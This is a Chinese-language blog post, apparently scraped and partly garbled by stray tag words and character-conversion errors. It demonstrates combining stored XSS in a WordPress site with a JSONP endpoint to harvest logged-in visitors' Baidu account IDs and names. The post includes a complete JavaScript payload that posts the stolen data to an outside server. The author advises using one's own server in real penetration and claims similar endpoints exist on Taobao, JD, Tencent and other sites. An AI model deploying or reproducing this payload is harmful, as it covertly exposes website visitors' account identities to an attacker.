XSS結合JSONP獲取網站訪客社交帳號信息

  我在本地環境搭建了一個WordPress網站,並在該網站中植入JavaScript文件。若是訪客在瀏覽網站時登陸了百度帳號,該js文件可以利用JSONP獲取網站訪客的百度帳號信息。php

具體狀況以下:ajax

一、首先修改WordPress的footer.php文件,引入2個外部JavaScript文件。第一個是jQuery庫,第二個是jsonp代碼。在實際滲透中,若是該網站存在存儲型XSS漏洞,咱們就能夠將xss_jsonp.js文件植入進去。json

二、xss_jsonp.js文件內容以下,具體功能是經過JSONP獲取百度帳號信息,並上傳到服務器上。爲了作演示,這裏我把獲取到的信息上傳到www.sogou.com,在實際滲透中,你能夠把信息上傳到本身的服務器上。api

 1 function jsonp_baidu() {  2     window._baidu_1 = function(object) {  3     if(!object.id) {  4         return;  5  }  6     var data = {};  7     data.id = object.id;  8     data.name = object.name;  9     $.post(saveUrl + '?act=baidu', data); 10  }; 11  $.ajax({ 12         url: "https://baike.baidu.com/api/login/", 13         type: "GET", 14         dataType: "jsonp", 15         jsonp: 'callback', 16         jsonpCallback: "_baidu_1", 17  }); 18 } 19 var saveUrl = 'https://www.sogou.com/xss_jsonp.php'; 20 jsonp_baidu();

三、訪問網站並觀察剛纔植入的js代碼是否執行。服務器

訪問百度的JSONP接口,服務器返回登陸帳號的相關信息。xss

獲取到百度帳號信息後,上傳到www.sogou.com服務器。post

 

  目前,我已經找到了百度、淘寶、京東、騰訊、新浪、愛奇藝等多個國內流行網站的JSONP接口,從這些接口能夠獲取用戶帳號信息。jsonp

相關文章
相關標籤/搜索